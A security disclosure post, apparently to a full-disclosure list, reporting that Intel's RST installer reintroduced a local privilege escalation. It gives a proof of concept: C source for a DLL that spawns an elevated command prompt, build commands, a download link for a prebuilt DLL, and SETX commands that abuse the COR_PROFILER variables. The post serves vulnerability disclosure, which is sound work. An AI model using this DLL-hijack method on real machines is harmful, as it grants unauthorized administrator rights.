more than 2 years ago I disclosed 2 vulnerabilities leading
to
local escalation of privilege in the
Intel® Rapid Storage Technology (Intel® RST) User Interface and
Driver:
see <https://seclists.org/fulldisclosure/2018/Nov/45>
and <https://seclists.org/fulldisclosure/2018/Nov/52>
Intel fixed this vulnerability only in their executable installer.
Some time later Intel rewrote or rebuilt this installer (see
<https://downloadcenter.intel.com/download/29978/Intel-Rapid-Storage-Technology-Driver-Installation-Software-with-Intel-Optane-Memor
y>
for its current version 18.0.1.1138, published 10/15/2020)
and incorporated the second vulnerability.
CVSS 3.0 score: 8.2 High
CVSS 3.0 vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Demonstration:
~~~~~~~~~~~~~~
0. Save the following source as sentinel.c in an arbitrary directory:
--- sentinel.c ---
// Copyright (C) 2004-2021, Stefan Kanthak
<
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const STARTUPINFO si = {sizeof(si)};
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HANDLE hModule,
DWORD dwReason,
CONTEXT *lpContext)
{
WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";
PROCESS_INFORMATION pi;
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE |
CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,
NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return TRUE;
}
--- EOF ---
1. Start the command prompt of the 32-bit Windows Software
Development Kit,
then run the following command lines to compile sentinel.c and link
it
as sentinel.dll:
cl.exe /Zl /W4 /O2 /GAFy /c sentinel.c
link.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup
/NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:Windows
sentinel.obj
kernel32.lib
ALTERNATIVE for steps 0 and 1:
1. Download
<https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
and save it in an arbitrary directory.
2. Logon with the user account created during Windows setup.
3. Start a command prompt (unelevated!) and run the following
command lines
(replace <directory> with the pathname of the directory where
you built
or saved sentinel.dll):
SETX.exe COR_ENABLE_PROFILING 1
SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
SETX.exe COR_PROFILER_PATH <directory>\sentinel.dll
JFTR: this is just one method to set these environment variables
without
the need to elevate!
4. Download
<https://downloadmirror.intel.com/29978/eng/SetupRST.exe>
and
save it in an arbitrary directory.
5. Execute SetupRST.exe per double-click, acknowledge the UAC
prompt, then
admire the console windows showing the output of WHOAMI.exe
running
elevated.
stay tuned, and FAR AWAY from vulnerable crap built by Intel
Stefan Kanthak
